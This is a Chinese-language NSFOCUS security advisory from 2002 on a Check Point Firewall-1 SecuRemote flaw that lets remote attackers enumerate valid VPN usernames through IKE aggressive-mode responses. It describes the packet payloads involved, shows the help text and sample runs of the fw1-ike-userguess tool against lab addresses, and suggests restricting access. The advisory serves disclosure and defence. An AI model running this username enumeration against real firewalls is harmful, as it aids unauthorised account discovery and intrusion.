首页 -> 安全研究
安全研究
安全漏洞
SecuRemote使用IKE交换方式用户名可猜测或嗅探漏洞
发布日期:2002-09-03
更新日期:2002-09-05
受影响系统:
Check Point Software Firewall-1 NG FP2描述:
Check Point Software Firewall-1 NG FP1
Check Point Software Firewall-1 NG Base
Check Point Software Firewall-1 4.1SP6
Check Point Software Firewall-1 4.1SP2
Check Point Software Firewall-1 4.0SP7
SecureRemote是Check Point软件设计的一个私有VPN构件,SecuRemote可使用Internet密钥交换协议(IKE)进行交换密钥验证。
Firewall-1在应答SecureRemote使用IKE积极模式访问的情况下存在问题,远程攻击者可以利用这个漏洞猜测或通过网络嗅探获得用户名。
当在适当格式IKE积极模式数据包中提供用户名,Firewall-1会根据用户名是否合法或者不合法响应不同的应答,这就可以允许使用字典攻击方法猜测用户名。基于NG的版本也提供帐户存在但针对IKE不合法情况下的的额外信息。
攻击者可以发送一个包含如下负载IKE Phase-1被动模式包:
a) ISAKMP Header
b) SA - Containing one proposal with four transforms
c) Key Exchange - DH Group 2
d) Nonce
e) Identification - Type ID_USER_FQDN, 其中Value是SecuRemote用户名
Firewall会发送返回IKE通知信息指示用户是否合法,或者会使用被动模式包应答来指示用户是否存在和合法。
<*来源:Roy Hills (Roy.Hills@nta-monitor.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103106971125363&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
以下是Roy Hills使用自己编写的程序所显示的信息,可帮助理解:
rsh@radon$ fw1-ike-userguess --help
Usage: fw1-ike-userguess [options] <hostname>
<hostname> is name or IP address of Firewall.
Options:
--file=<fn> or -f <fn> Read usernames from file <fn>, one per line.
--help or -h Display this help message and exit.
--id=<id> or -i <id> Use string <id> as SecuRemote username.
--sport=<p> or -s <p> Set UDP source port to <p>. Default 500. 0=random.
--dport=<p> or -d <p> Set UDP dest. port to <p>. Default 500.
--timeout=<n> or -t <n> Set timeout to <n> ms. Default 2000.
--random=<n> or -r <n> Set random seed to <n>. Default is based on time
Used to generate key exchange and nonce data.
--version or -V Display program version and exit.
--idtype=n or -y n Use identification type <n>. Default 3 (ID_USER_FQDN)
For Checkpoint SecuRemote VPN, this must be set to 3.
--dhgroup=n or -g n Use Diffie Hellman Group <n>. Default 2
Acceptable values are 1,2 and 5 (MODP only).
fw1-ike-userguess version 1.2 2002-08-30 <Roy.Hills@nta-monitor.com>
示例1:这个例子演示针对Firewall-1 v4.1 SP6系统的用户名猜测程序:
Script started on Thu Aug 22 15:15:30 2002
rsh@radon [499]% fw1-ike-userguess --file=testusers.txt --sport=0 172.16.2.2
testuser User testuser unknown.
test-ike-3des USER EXISTS
testing123 User testing123 unknown.
test-ike-des USER EXISTS
guest User guest unknown.
test-fwz-des User cannot use IKE
test-ike-cast40 USER EXISTS
test-ike-ah USER EXISTS
test-ike-hybrid IKE is not properly defined for user.
test-expired Login expired on 1-jan-2002.
rsh@radon [500]% exit
Script done on Thu Aug 22 15:15:50 2002
这个例子中,用户test-ike-3des", "test-ike-des", "test-ike-cast40"和"test-ike-ah"存在, 并有合法的IKE配置使用共享私钥认证;用户"testuser", "testing123" 和"guest"不存在,"test-fwz-des", "test-ike-hybrid"和"test-expired"用户存在,但这些用户是不能使用IKE,并且Firewall给出解释的信息。
示例2:针对Firewall-1 NG FP2系统:
rsh@radon [502]% fw1-ike-userguess --file=testusers.txt --sport=0
192.168.124.150
testuser Notification code 14
test-ike-3des USER EXISTS
testing123 Notification code 14
test-ike-des USER EXISTS
guest Notification code 14
test-expired Notification code 14
rsh@radon [503]% exit
Script done on Tue Aug 20 17:28:08 2002
在这个例子中,用户"test-ike-3des"和"test-ike-des"存在,并有合法的IKE配置使用共享私钥认证;用户"testuser", "testing123"和"guest"不存在,而"test-expired"用户存在但已经过期。
NG FP2系统中,防火墙可以真实用户是否合法,但不会给出额外信息提示用户为何不合法,相反的是以RFC 2408定义的notification code 14来应答。
而如果使用证书方式代替用户名和密码方式认证,攻击者也可以通过网络嗅探根据获得信息来猜测用户名。
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 限制SecuRemote,只允许可信IP访问。
厂商补丁:
Check Point Software
--------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.checkpoint.com
浏览次数:2935
严重程度:0(网友投票)
绿盟科技给您安全的保障